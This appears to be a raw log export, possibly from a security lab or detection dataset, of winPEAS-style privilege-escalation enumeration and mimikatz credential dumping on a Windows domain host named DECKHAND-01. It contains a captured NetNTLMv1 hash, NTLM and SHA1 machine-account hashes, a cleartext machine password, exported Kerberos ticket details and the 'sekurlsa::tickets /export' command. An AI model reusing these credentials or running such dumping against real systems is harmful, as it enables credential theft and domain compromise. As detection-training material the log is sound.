_raw:
    RenewTime: 11/12/2025 12:38:00 PM
    EncryptionType: aes256_cts_hmac_sha1_96
    TicketFlags: name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
   =================================================================================================
╔══════════╣ Looking for saved Wifi credentials
  [X] Exception: Unable to load DLL 'wlanapi.dll': The specified module could not be found. (Exception from HRESULT: 0x8007007E)
Enumerating WLAN using wlanapi.dll failed, trying to enumerate using 'netsh'
No saved Wifi credentials found
╔══════════╣ Looking AppCmd.exe
╚  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe
    Not Found
╔══════════╣ Looking SSClient.exe
╚  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#scclient--sccm
    Not Found
╔══════════╣ Enumerating SSCM - System Center Configuration Manager settings
╔══════════╣ Enumerating Security Packages Credentials
  Version: NetNTLMv1
  Hash:    Guest::DECKHAND-01:eefabc742621a883aec4b24e0f7fbf05e17dc2880abe07cc:eefabc742621a883aec4b24e0f7fbf05e17dc2880abe07cc:1122334455667788
   =================================================================================================
════════════════════════════════════╣ Browsers Information ╠════════════════════════════════════
╔══════════╣ Showing saved credentials for Firefox
    Info: if no credentials were listed, you might need to close the browser and try again.
╔══════════╣ Looking for Firefox DBs
╚  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history
    Firefox credentials file exists at C:\Users\Guest\AppData\Roaming\Mozilla\Firefox\Profiles\oc33h408.default-release\key3.db
╚ Run SharpWeb (https://github.com/djhohnstein/SharpWeb)
╔══════════╣ Looking for GET credentials in Firefox history
╚  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history
    [x] IO exception, places.sqlite file likely in use (i.e. Firefox is likely running).
╔══════════╣ Firefox history -- limit 50
    https://www.mozilla.org
    https://www.mozilla.org
    https://www.mozilla.org/about/gro.allizom.www.YeEcLd_OTW5a+
╔══════════╣ Showing saved credentials for Chrome
    Info: if no credentials were listed, you might need to close the browser and try again.
╔══════════╣ Looking for Chrome DBs
╚  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history
  [X] Exception: The given key was not present in the dictionary.
╔══════════╣ Looking for GET credentials in Chrome history
╚  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history
=== Chrome (All Users) ===
╔══════════╣ Chrome history -- limit 50
    https://www.google.com/1
    https://apps.microsoft.com/detail/9wzdncrdwz1l?hl=en-US&gl=UShttps://www.google.com/application/x-msdownloadapplication/octet-stream
    https://apps.microsoft.com/c9e1e87d-2835-4e0f-8561-50d6f0729041
    https://www.google.com/search?q=binary+translator+download&rlz=1C1GCER_enUS1187US1187&sourceid=chrome&ie=UTF-8binary    https://www.google.com/search?q=gdal&rlz=1C1GCER_enUS1187US1187&sourceid=chrome&ie=UTF-8gdal
    https://www.google.com/search?q=binary+translator&rlz=1C1GCER_enUS1187US1187&sourceid=chrome&ie=UTF-8binary
    https://www.google.com/search?q=gdal+download+windows+binaries&rlz=1C1GCER_enUS1187US1187&sourceid=chrome&ie=UTF-8gdal
    https://www.google.com/search?q=gdal+download+windows+binaries&rlz=1C1GCER_enUS1187US1187&sourceid=chrome&ie=UTF-8gdal
    https://www.google.com/search?q=osgeo4w&sourceid=chrome&ie=UTF-8osgeo4wz
    https://www.google.com/search?q=how+to+open+nat+file&sourceid=chrome&ie=UTF-8how
    https://www.google.com/search?q=openpowershell&sourceid=chrome&ie=UTF-8openpowershellg
    https://www.google.com/search?q=openpowershell&sourceid=chrome&ie=UTF-8openpowershellg
    https://www.google.com/search?q=openpowershell&sourceid=chrome&ie=UTF-8openpowershell
    https://apps.microsoft.com/https://apps.microsoft.com/detail/9wzdncrdwz1l?hl=en-US&gl=USapps.microsoft.com/detail/9wzdncrdwz1l?hl=en-US&gl=US
    https://www.google.com/search?q=gdal+download+windows+binaries&rlz=1C1GCER_enUS1187US1187&sourceid=chrome&ie=UTF-8https://www.google.com/search?q=gdal+download+windows+binaries&rlz=1C1GCER_enUS1187US1187&sourceid=chrome&ie=UTF-8google.com/search?q=gdal+download+windows+binaries&rlz=1C1GCER_enUS1187US1187&sourceid=chrome&ie=UTF-8d
    https://www.google.com/search?q=gdal&rlz=1C1GCER_enUS1187US1187&sourceid=chrome&ie=UTF-8https://www.google.com/search?q=gdal&rlz=1C1GCER_enUS1187US1187&sourceid=chrome&ie=UTF-8google.com/search?q=gdal&rlz=1C1GCER_enUS1187US1187&sourceid=chrome&ie=UTF-8
    https://www.google.com/search?q=gdal+download+windows+binaries&sca_esv=b95786c59e8d7ce2&rlz=1C1GCER_enUS1187US1187&ei=ZtcPaa2LFpbviLMPxdOsiQs&oq=gdal+download+&gs_lp=Egxnd3Mtd2l6LXNlcnAiDmdkYWwgZG93bmxvYWQgKgIIATIFEAAYgAQyBRAAGIAEMgYQABgWGB4yBhAAGBYYHjIGEAAYFhgeMgYQABgWGB4yBhAAGBYYHjIGEAAYFhgeMgYQABgWGB4yBhAAGBYYHkjYJFCqAViPE3ADeAGQAQCYATqgAe4EqgECMTK4AQPIAQD4AQGYAg-gAq8FwgIKEAAYsAMY1gQYR8ICDRAAGIAEGLADGEMYigXCAgoQABiABBhDGIoFwgILEAAYgAQYkQIYigXCAggQABiiBBiJBcICBRAAGO8FwgIIEAAYgAQYogTCAgsQABiABBiGAxiKBZgDAIgGAZAGCpIHAjE1oAehPrIHAjEyuAeiBcIHBTAuNi45yAcx&sclient=gws-wiz-serphttps://www.google.com/
    https://www.google.com/search?q=gdal+download+windows+binaries&sca_esv=b95786c59e8d7ce2&rlz=1C1GCER_enUS1187US1187&ei=ZtcPaa2LFpbviLMPxdOsiQs&oq=gdal+download+&gs_lp=Egxnd3Mtd2l6LXNlcnAiDmdkYWwgZG93bmxvYWQgKgIIATIFEAAYgAQyBRAAGIAEMgYQABgWGB4yBhAAGBYYHjIGEAAYFhgeMgYQABgWGB4yBhAAGBYYHjIGEAAYFhgeMgYQABgWGB4yBhAAGBYYHkjYJFCqAViPE3ADeAGQAQCYATqgAe4EqgECMTK4AQPIAQD4AQGYAg-gAq8FwgIKEAAYsAMY1gQYR8ICDRAAGIAEGLADGEMYigXCAgoQABiABBhDGIoFwgILEAAYgAQYkQIYigXCAggQABiiBBiJBcICBRAAGO8FwgIIEAAYgAQYogTCAgsQABiABBiGAxiKBZgDAIgGAZAGCpIHAjE1oAehPrIHAjEyuAeiBcIHBTAuNi45yAcx&sclient=gws-wiz-serp
    https://www.google.com/search?q=binary+translator&sca_esv=b95786c59e8d7ce2&rlz=1C1GCER_enUS1187US1187&ei=bdcPaaOzKqqu5NoP0tft8Aw&ved=0ahUKEwjjnbbH3-OQAxUqF1kFHdJrG84Q4dUDCBE&uact=5&oq=binary+translator&gs_lp=Egxnd3Mtd2l6LXNlcnAiEWJpbmFyeSB0cmFuc2xhdG9yMggQABiABBixAzIFEAAYgAQyBRAAGIAEMgUQABiABDIFEAAYgAQyBRAAGIAEMgUQABiABDIFEAAYgAQyBRAAGIAEMgUQABiABEizGFAAWNgOcAB4AJABAJgBTKAB-gaqAQIxN7gBA8gBAPgBAZgCEaACywfCAgsQABiABBiRAhiKBcICChAAGIAEGEMYigXCAggQLhiABBixA8ICERAuGIAEGLEDGNEDGIMBGMcBwgIPEAAYgAQYQxiKBRhGGPkBwgIQEC4YgAQY0QMYQxjHARiKBcICEBAAGIAEGLEDGEMYgwEYigXCAhMQLhiABBixAxjRAxhDGMcBGIoFwgINEAAYgAQYsQMYQxiKBZgDAJIHAjE3oAfqgQGyBwIxN7gHywfCBwYwLjUuMTLIBz0&sclient=gws-wiz-serpbinary
    https://www.google.com/search?q=gdal+download+windows+binaries&sca_esv=b95786c59e8d7ce2&rlz=1C1GCER_enUS1187US1187&ei=ZtcPaa2LFpbviLMPxdOsiQs&oq=gdal+download+&gs_lp=Egxnd3Mtd2l6LXNlcnAiDmdkYWwgZG93bmxvYWQgKgIIATIFEAAYgAQyBRAAGIAEMgYQABgWGB4yBhAAGBYYHjIGEAAYFhgeMgYQABgWGB4yBhAAGBYYHjIGEAAYFhgeMgYQABgWGB4yBhAAGBYYHkjYJFCqAViPE3ADeAGQAQCYATqgAe4EqgECMTK4AQPIAQD4AQGYAg-gAq8FwgIKEAAYsAMY1gQYR8ICDRAAGIAEGLADGEMYigXCAgoQABiABBhDGIoFwgILEAAYgAQYkQIYigXCAggQABiiBBiJBcICBRAAGO8FwgIIEAAYgAQYogTCAgsQABiABBiGAxiKBZgDAIgGAZAGCpIHAjE1oAehPrIHAjEyuAeiBcIHBTAuNi45yAcx&sclient=gws-wiz-serpgdal
    https://apps.microsoft.com/detail/9wzdncrdwz1l?hl=en-US&gl=USMy
    https://www.google.com/search?q=binary+translator+download&sca_esv=b95786c59e8d7ce2&rlz=1C1GCER_enUS1187US1187&ei=d9cPaZ31Ktuo5NoP_vLe6QI&ved=0ahUKEwjdjJnM3-OQAxVbFFkFHX65Ny0Q4dUDCBE&uact=5&oq=binary+translator+download&gs_lp=Egxnd3Mtd2l6LXNlcnAiGmJpbmFyeSB0cmFuc2xhdG9yIGRvd25sb2FkMgYQABgWGB4yBhAAGBYYHjIGEAAYFhgeMgsQABiABBiGAxiKBTILEAAYgAQYhgMYigUyCxAAGIAEGIYDGIoFMgsQABiABBiGAxiKBTIIEAAYgAQYogQyBRAAGO8FMgUQABjvBUieCVClAlisCHABeAGQAQCYAUGgAfkDqgEBObgBA8gBAPgBAZgCCqACoATCAgoQABiwAxjWBBhHwgINEAAYgAQYsAMYQxiKBcICBRAAGIAEwgILEAAYgAQYkQIYigWYAwCIBgGQBgqSBwIxMKAH7zeyBwE5uAecBMIHBTAuNS41yAce&sclient=gws-wiz-serpbinary
    https://www.google.com/search?q=binary+translator+download&sca_esv=b95786c59e8d7ce2&rlz=1C1GCER_enUS1187US1187&ei=d9cPaZ31Ktuo5NoP_vLe6QI&ved=0ahUKEwjdjJnM3-OQAxVbFFkFHX65Ny0Q4dUDCBE&uact=5&oq=binary+translator+download&gs_lp=Egxnd3Mtd2l6LXNlcnAiGmJpbmFyeSB0cmFuc2xhdG9yIGRvd25sb2FkMgYQABgWGB4yBhAAGBYYHjIGEAAYFhgeMgsQABiABBiGAxiKBTILEAAYgAQYhgMYigUyCxAAGIAEGIYDGIoFMgsQABiABBiGAxiKBTIIEAAYgAQYogQyBRAAGO8FMgUQABjvBUieCVClAlisCHABeAGQAQCYAUGgAfkDqgEBObgBA8gBAPgBAZgCCqACoATCAgoQABiwAxjWBBhHwgINEAAYgAQYsAMYQxiKBcICBRAAGIAEwgILEAAYgAQYkQIYigWYAwCIBgGQBgqSBwIxMKAH7zeyBwE5uAecBMIHBTAuNS41yAce&sclient=gws-wiz-serp
    https://www.google.com/search?q=binary+translator&sca_esv=b95786c59e8d7ce2&rlz=1C1GCER_enUS1187US1187&ei=bdcPaaOzKqqu5NoP0tft8Aw&ved=0ahUKEwjjnbbH3-OQAxUqF1kFHdJrG84Q4dUDCBE&uact=5&oq=binary+translator&gs_lp=Egxnd3Mtd2l6LXNlcnAiEWJpbmFyeSB0cmFuc2xhdG9yMggQABiABBixAzIFEAAYgAQyBRAAGIAEMgUQABiABDIFEAAYgAQyBRAAGIAEMgUQABiABDIFEAAYgAQyBRAAGIAEMgUQABiABEizGFAAWNgOcAB4AJABAJgBTKAB-gaqAQIxN7gBA8gBAPgBAZgCEaACywfCAgsQABiABBiRAhiKBcICChAAGIAEGEMYigXCAggQLhiABBixA8ICERAuGIAEGLEDGNEDGIMBGMcBwgIPEAAYgAQYQxiKBRhGGPkBwgIQEC4YgAQY0QMYQxjHARiKBcICEBAAGIAEGLEDGEMYgwEYigXCAhMQLhiABBixAxjRAxhDGMcBGIoFwgINEAAYgAQYsQMYQxiKBZgDAJIHAjE3oAfqgQGyBwIxN7gHywfCBwYwLjUuMTLIBz0&sclient=gws-wiz-serp
    https://www.reddit.com/r/ArcGIS/comments/yy35t9/nat_file_type/
    https://gdal.org/en/stable/download.htmlhttps://www.google.com/
    https://www.google.com/search?q=gdal&rlz=1C1GCER_enUS1187US1187&oq=GDAL&gs_lcrp=EgZjaHJvbWUqDwgAEAAYQxixAxiABBiKBTIPCAAQABhDGLEDGIAEGIoFMgcIARAAGIAEMgcIAhAAGIAEMgcIAxAAGIAEMgcIBBAAGIAEMgcIBRAAGIAEMgcIBhAAGIAEMgcIBxAAGIAEMgcICBAAGIAEMgcICRAAGIAE0gEHMjM5ajBqN6gCALACAA&sourceid=chrome&ie=UTF-8https://www.google.com/
    https://www.google.com/search?q=binary+translator+download&sca_esv=b95786c59e8d7ce2&rlz=1C1GCER_enUS1187US1187&ei=d9cPaZ31Ktuo5NoP_vLe6QI&ved=0ahUKEwjdjJnM3-OQAxVbFFkFHX65Ny0Q4dUDCBE&uact=5&oq=binary+translator+download&gs_lp=Egxnd3Mtd2l6LXNlcnAiGmJpbmFyeSB0cmFuc2xhdG9yIGRvd25sb2FkMgYQABgWGB4yBhAAGBYYHjIGEAAYFhgeMgsQABiABBiGAxiKBTILEAAYgAQYhgMYigUyCxAAGIAEGIYDGIoFMgsQABiABBiGAxiKBTIIEAAYgAQYogQyBRAAGO8FMgUQABjvBUieCVClAlisCHABeAGQAQCYAUGgAfkDqgEBObgBA8gBAPgBAZgCCqACoATCAgoQABiwAxjWBBhHwgINEAAYgAQYsAMYQxiKBcICBRAAGIAEwgILEAAYgAQYkQIYigWYAwCIBgGQBgqSBwIxMKAH7zeyBwE5uAecBMIHBTAuNS41yAce&sclient=gws-wiz-serphttps://www.google.com/
    https://www.google.com/search?q=binary+translator&sca_esv=b95786c59e8d7ce2&rlz=1C1GCER_enUS1187US1187&ei=bdcPaaOzKqqu5NoP0tft8Aw&ved=0ahUKEwjjnbbH3-OQAxUqF1kFHdJrG84Q4dUDCBE&uact=5&oq=binary+translator&gs_lp=Egxnd3Mtd2l6LXNlcnAiEWJpbmFyeSB0cmFuc2xhdG9yMggQABiABBixAzIFEAAYgAQyBRAAGIAEMgUQABiABDIFEAAYgAQyBRAAGIAEMgUQABiABDIFEAAYgAQyBRAAGIAEMgUQABiABEizGFAAWNgOcAB4AJABAJgBTKAB-gaqAQIxN7gBA8gBAPgBAZgCEaACywfCAgsQABiABBiRAhiKBcICChAAGIAEGEMYigXCAggQLhiABBixA8ICERAuGIAEGLEDGNEDGIMBGMcBwgIPEAAYgAQYQxiKBRhGGPkBwgIQEC4YgAQY0QMYQxjHARiKBcICEBAAGIAEGLEDGEMYgwEYigXCAhMQLhiABBixAxjRAxhDGMcBGIoFwgINEAAYgAQYsQMYQxiKBZgDAJIHAjE3oAfqgQGyBwIxN7gHywfCBwYwLjUuMTLIBz0&sclient=gws-wiz-serphttps://www.google.com/
    https://www.google.com/search?q=binary+translator&sca_esv=b95786c59e8d7ce2&rlz=1C1GCER_enUS1187US1187&ei=bdcPaaOzKqqu5NoP0tft8Aw&ved=0ahUKEwjjnbbH3-OQAxUqF1kFHdJrG84Q4dUDCBE&uact=5&oq=binary+translator&gs_lp=Egxnd3Mtd2l6LXNlcnAiEWJpbmFyeSB0cmFuc2xhdG9yMggQABiABBixAzIFEAAYgAQyBRAAGIAEMgUQABiABDIFEAAYgAQyBRAAGIAEMgUQABiABDIFEAAYgAQyBRAAGIAEMgUQABiABEizGFAAWNgOcAB4AJABAJgBTKAB-gaqAQIxN7gBA8gBAPgBAZgCEaACywfCAgsQABiABBiRAhiKBcICChAAGIAEGEMYigXCAggQLhiABBixA8ICERAuGIAEGLEDGNEDGIMBGMcBwgIPEAAYgAQYQxiKBRhGGPkBwgIQEC4YgAQY0QMYQxjHARiKBcICEBAAGIAEGLEDGEMYgwEYigXCAhMQLhiABBixAxjRAxhDGMcBGIoFwgINEAAYgAQYsQMYQxiKBZgDAJIHAjE3oAfqgQGyBwIxN7gHywfCBwYwLjUuMTLIBz0&sclient=gws-wiz-serphttps://www.google.com/
    https://gdal.org/en/stable/download.htmlhttps://www.google.com/
    https://www.google.com/search?q=gdal&rlz=1C1GCER_enUS1187US1187&oq=GDAL&gs_lcrp=EgZjaHJvbWUqDwgAEAAYQxixAxiABBiKBTIPCAAQABhDGLEDGIAEGIoFMgcIARAAGIAEMgcIAhAAGIAEMgcIAxAAGIAEMgcIBBAAGIAEMgcIBRAAGIAEMgcIBhAAGIAEMgcIBxAAGIAEMgcICBAAGIAEMgcICRAAGIAE0gEHMjM5ajBqN6gCALACAA&sourceid=chrome&ie=UTF-8https://www.google.com/
    https://www.google.com/search?q=binary+translator+download&sca_esv=b95786c59e8d7ce2&rlz=1C1GCER_enUS1187US1187&ei=d9cPaZ31Ktuo5NoP_vLe6QI&ved=0ahUKEwjdjJnM3-OQAxVbFFkFHX65Ny0Q4dUDCBE&uact=5&oq=binary+translator+download&gs_lp=Egxnd3Mtd2l6LXNlcnAiGmJpbmFyeSB0cmFuc2xhdG9yIGRvd25sb2FkMgYQABgWGB4yBhAAGBYYHjIGEAAYFhgeMgsQABiABBiGAxiKBTILEAAYgAQYhgMYigUyCxAAGIAEGIYDGIoFMgsQABiABBiGAxiKBTIIEAAYgAQYogQyBRAAGO8FMgUQABjvBUieCVClAlisCHABeAGQAQCYAUGgAfkDqgEBObgBA8gBAPgBAZgCCqACoATCAgoQABiwAxjWBBhHwgINEAAYgAQYsAMYQxiKBcICBRAAGIAEwgILEAAYgAQYkQIYigWYAwCIBgGQBgqSBwIxMKAH7zeyBwE5uAecBMIHBTAuNS41yAce&sclient=gws-wiz-serphttps://www.google.com/
╔══════════╣ Chrome bookmarks
    Not Found
╔══════════╣ Showing saved credentials for Opera
    Info: if no credentials were listed, you might need to close the browser and try again.
╔══════════╣ Showing saved credentials for Brave Browser
    Info: if no credentials were listed, you might need to close the browser and try again.
╔══════════╣ Showing saved credentials for Internet Explorer (unsupported)
    Info: if no credentials were listed, you might need to close the browser and try again.
╔══════════╣ Current IE tabs
╚  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history
    Not Found
╔══════════╣ Looking for GET credentials in IE history
╚  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history
╔══════════╣ IE history -- limit 50
    http://go.microsoft.com/fwlink/p/?LinkId=255142
╔══════════╣ IE favorites
    Not Found
════════════════════════════════════╣ Interesting files and registry ╠════════════════════════════════════
╔══════════╣ Putty Sessions
=== Putty Saved Session Information (All Users) ===
    Not Found
╔══════════╣ Putty SSH Host keys
=== Putty SSH Host Hosts (All Users) ===
    Not Found
╔══════════╣ SSH keys in registry
╚ If you find anything here, follow the link to learn how to decrypt the SSH keys https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#ssh-keys-in-registry
    Not Found
╔══════════╣ SuperPutty configuration files
╔══════════╣ Enumerating Office 365 endpoints synced by OneDrive.
    SID: S-1-5-19
   =================================================================================================
    SID: S-1-5-20
   =================================================================================================
    SID: S-1-5-21-2288084429-921088559-2964959546-501
   =================================================================================================
    SID: S-1-5-80-972488765-139171986-783781252-3188962990-3730692313
   =================================================================================================
    SID: S-1-5-18
   =================================================================================================
╔══════════╣ Cloud Credentials
╚  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials
    Not Found
╔══════════╣ Unattend Files
    C:\windows\Panther\Unattend.xml
╔══════════╣ Looking for common SAM & SYSTEM backups
    C:\windows\System32\config\RegBack\SAM
    File Permissions: Administrators [Allow: AllAccess]
    C:\windows\System32\config\RegBack\SYSTEM
    File Permissions: Administrators [Allow: AllAccess]
╔══════════╣ Looking for McAfee Sitelist.xml Files
╔══════════╣ Cached GPP Passwords
╔══════════╣ Looking for possible regs with creds
╚  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#inside-the-registry
    Not Found
    Not Found
    Not Found
    Not Found
╔══════════╣ Looking for possible password files in users homes
╚  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials
    C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml
    C:\Users\Guest\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.1.0.0\passwords.txt
    C:\Users\Guest\AppData\Local\Google\Chrome\User Data\ZxcvbnData\3\passwords.txt
╔══════════╣ Searching for Oracle SQL Developer config files
╔══════════╣ Slack files & directories
  note: check manually if something is found
╔══════════╣ Looking for LOL Binaries and Scripts (can be slow)
╚  https://lolbas-project.github.io/
   [!] Check skipped, if you want to run it, please specify '-lolbas' argument
╔══════════╣ Enumerating Outlook download files
╔══════════╣ Enumerating machine and user certificate files
  Issuer             : CN=Cloudbase-Init WinRM
  Subject            : CN=Cloudbase-Init WinRM


_raw:
    RenewTime: 11/12/2025 12:38:00 PM
    EncryptionType: aes256_cts_hmac_sha1_96
    TicketFlags: name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
   =================================================================================================
    UserPrincipalName: DECKHAND-01$@allports.local
    serverName: krbtgt/ALLPORTS.LOCAL
    RealmName: ALLPORTS.LOCAL


_raw:
   Last Logon              :   11/5/2025 12:38:00 PM
   Logons Count            :   6


_raw:
           Start/End/MaxRenew: 11/5/2025 12:38:00 PM ; 11/5/2025 10:38:00 PM ; 11/12/2025 12:38:00 PM
           Service Name (02) : ldap ; apt-dc-01.allports.local ; allports.local ; @ ALLPORTS.LOCAL
           Target Name  (02) : ldap ; apt-dc-01.allports.local ; allports.local ; @ ALLPORTS.LOCAL
           Client Name  (01) : DECKHAND-01$ ; @ ALLPORTS.LOCAL ( ALLPORTS.LOCAL )
           Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
           Session Key       : 0x00000001 - des_cbc_crc
             ebd894180b086c5783fad80fe3651a59ecc0866242dfd3b857fc73a5bb526913
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 3        [...]
           * Saved to file [0;3e4]-0-1-40a50000-DECKHAND-01$@ldap-apt-dc-01.allports.local.kirbi !
        Group 1 - Client Ticket ?
        Group 2 - Ticket Granting Ticket
         [00000000]


_raw:
           Start/End/MaxRenew: 11/5/2025 12:38:00 PM ; 11/5/2025 10:38:00 PM ; 11/12/2025 12:38:00 PM
           Service Name (02) : LDAP ; APT-DC-01.allports.local ; @ ALLPORTS.LOCAL
           Target Name  (02) : LDAP ; APT-DC-01.allports.local ; @ ALLPORTS.LOCAL
           Client Name  (01) : DECKHAND-01$ ; @ ALLPORTS.LOCAL
           Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
           Session Key       : 0x00000001 - des_cbc_crc
             17cb468cf0ce981ff3668226923848bd43978108123e360c207203ab1832f65d
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 3        [...]
           * Saved to file [0;3e7]-0-4-40a50000-DECKHAND-01$@LDAP-APT-DC-01.allports.local.kirbi !
        Group 1 - Client Ticket ?
        Group 2 - Ticket Granting Ticket
         [00000000]


_raw:
Logon Time        : 11/5/2025 12:37:59 PM
SID               : S-1-5-19
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        Group 0 - Ticket Granting Service
        Group 1 - Client Ticket ?
        Group 2 - Ticket Granting Ticket
Authentication Id : 0 ; 23509 (00000000:00005bd5)
Session           : Interactive from 1
User Name         : UMFD-1
Domain            : Font Driver Host
Logon Server      : (null)


_raw:
Logon Time        : 11/5/2025 12:37:59 PM
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :
        credman :
        cloudap :
Authentication Id : 0 ; 23509 (00000000:00005bd5)
Session           : Interactive from 1
User Name         : UMFD-1
Domain            : Font Driver Host
Logon Server      : (null)


_raw:
Logon Time        : 11/5/2025 12:37:58 PM
SID               : S-1-5-96-0-1
         * Username : DECKHAND-01$
         * Domain   : allports.local
         * Password : ]Y(OfS2su9pp7q&Z^ZOGTeF(V>G=a@FXzC!^%KY"v!>u.c5/UN:@kafoFnge22+CgVA=5vN[i07I$b`?#1>"!oBLHl!!C`BW>^`7?4C6uqF7=IacDwX*WKK`
        Group 0 - Ticket Granting Service
        Group 1 - Client Ticket ?
        Group 2 - Ticket Granting Ticket


_raw:
Logon Time        : 11/5/2025 12:37:58 PM
SID               : S-1-5-96-0-0
         * Username : DECKHAND-01$
         * Domain   : allports.local
         * Password : ]Y(OfS2su9pp7q&Z^ZOGTeF(V>G=a@FXzC!^%KY"v!>u.c5/UN:@kafoFnge22+CgVA=5vN[i07I$b`?#1>"!oBLHl!!C`BW>^`7?4C6uqF7=IacDwX*WKK`
        Group 0 - Ticket Granting Service
        Group 1 - Client Ticket ?
        Group 2 - Ticket Granting Ticket
Authentication Id : 0 ; 121226683 (00000000:0739c5bb)
Session           : Interactive from 2
User Name         : UMFD-2
Domain            : Font Driver Host
Logon Server      : (null)


_raw:
Logon Time        : 11/5/2025 12:37:58 PM
SID               : S-1-5-20
         * Username : deckhand-01$
         * Domain   : ALLPORTS.LOCAL
         * Password : (null)
        Group 0 - Ticket Granting Service
         [00000000]


_raw:
Logon Time        : 11/5/2025 12:37:58 PM
SID               : S-1-5-90-0-1
         * Username : DECKHAND-01$
         * Domain   : allports.local
         * Password : ]Y(OfS2su9pp7q&Z^ZOGTeF(V>G=a@FXzC!^%KY"v!>u.c5/UN:@kafoFnge22+CgVA=5vN[i07I$b`?#1>"!oBLHl!!C`BW>^`7?4C6uqF7=IacDwX*WKK`
        Group 0 - Ticket Granting Service
        Group 1 - Client Ticket ?
        Group 2 - Ticket Granting Ticket
Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : DECKHAND-01$
Domain            : APT
Logon Server      : (null)


_raw:
Logon Time        : 11/5/2025 12:37:58 PM
SID               :
        msv :
         [00000003] Primary
         * Username : DECKHAND-01$
         * Domain   : APT
         * NTLM     : c570efd16c93e73595446cb2c2875273
         * SHA1     : d1d83600fc13c80b90fc80a09cb665c2dbb722a8
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :
        cloudap :
mimikatz # sekurlsa::tickets /export
Authentication Id : 0 ; 146585311 (00000000:08bcb6df)
Session           : Interactive from 3
User Name         : DWM-3
Domain            : Window Manager
Logon Server      : (null)


_raw:
Logon Time        : 11/5/2025 12:37:58 PM
SID               : S-1-5-96-0-1
        msv :
         [00000003] Primary
         * Username : DECKHAND-01$
         * Domain   : APT
         * NTLM     : c570efd16c93e73595446cb2c2875273
         * SHA1     : d1d83600fc13c80b90fc80a09cb665c2dbb722a8
        tspkg :
        wdigest :
         * Username : DECKHAND-01$
         * Domain   : APT
         * Password : (null)
        kerberos :
         * Username : DECKHAND-01$
         * Domain   : allports.local
         * Password : ]Y(OfS2su9pp7q&Z^ZOGTeF(V>G=a@FXzC!^%KY"v!>u.c5/UN:@kafoFnge22+CgVA=5vN[i07I$b`?#1>"!oBLHl!!C`BW>^`7?4C6uqF7=IacDwX*WKK`
        ssp :
        credman :
        cloudap :
Authentication Id : 0 ; 20692 (00000000:000050d4)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)


_raw:
Logon Time        : 11/5/2025 12:37:58 PM
SID               : S-1-5-96-0-0
        msv :
         [00000003] Primary
         * Username : DECKHAND-01$
         * Domain   : APT
         * NTLM     : c570efd16c93e73595446cb2c2875273
         * SHA1     : d1d83600fc13c80b90fc80a09cb665c2dbb722a8
        tspkg :
        wdigest :
         * Username : DECKHAND-01$
         * Domain   : APT
         * Password : (null)
        kerberos :
         * Username : DECKHAND-01$
         * Domain   : allports.local
         * Password : ]Y(OfS2su9pp7q&Z^ZOGTeF(V>G=a@FXzC!^%KY"v!>u.c5/UN:@kafoFnge22+CgVA=5vN[i07I$b`?#1>"!oBLHl!!C`BW>^`7?4C6uqF7=IacDwX*WKK`
        ssp :
        credman :
        cloudap :
Authentication Id : 0 ; 121226683 (00000000:0739c5bb)
Session           : Interactive from 2
User Name         : UMFD-2
Domain            : Font Driver Host
Logon Server      : (null)


_raw:
Logon Time        : 11/5/2025 12:37:58 PM
SID               : S-1-5-20
        msv :
         [00000003] Primary
         * Username : DECKHAND-01$
         * Domain   : APT
         * NTLM     : c570efd16c93e73595446cb2c2875273
         * SHA1     : d1d83600fc13c80b90fc80a09cb665c2dbb722a8
        tspkg :
        wdigest :
         * Username : DECKHAND-01$
         * Domain   : APT
         * Password : (null)
        kerberos :
         * Username : deckhand-01$
         * Domain   : ALLPORTS.LOCAL
         * Password : (null)
        ssp :
        credman :
        cloudap :
Authentication Id : 0 ; 23524 (00000000:00005be4)
Session           : Interactive from 0
User Name         : UMFD-0
Domain            : Font Driver Host
Logon Server      : (null)


_raw:
Logon Time        : 11/5/2025 12:37:58 PM
SID               : S-1-5-90-0-1
        msv :
         [00000003] Primary
         * Username : DECKHAND-01$
         * Domain   : APT
         * NTLM     : c570efd16c93e73595446cb2c2875273
         * SHA1     : d1d83600fc13c80b90fc80a09cb665c2dbb722a8
        tspkg :
        wdigest :
         * Username : DECKHAND-01$
         * Domain   : APT
         * Password : (null)
        kerberos :
         * Username : DECKHAND-01$
         * Domain   : allports.local
         * Password : ]Y(OfS2su9pp7q&Z^ZOGTeF(V>G=a@FXzC!^%KY"v!>u.c5/UN:@kafoFnge22+CgVA=5vN[i07I$b`?#1>"!oBLHl!!C`BW>^`7?4C6uqF7=IacDwX*WKK`
        ssp :
        credman :
        cloudap :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : DECKHAND-01$
Domain            : APT
Logon Server      : (null)


_raw:
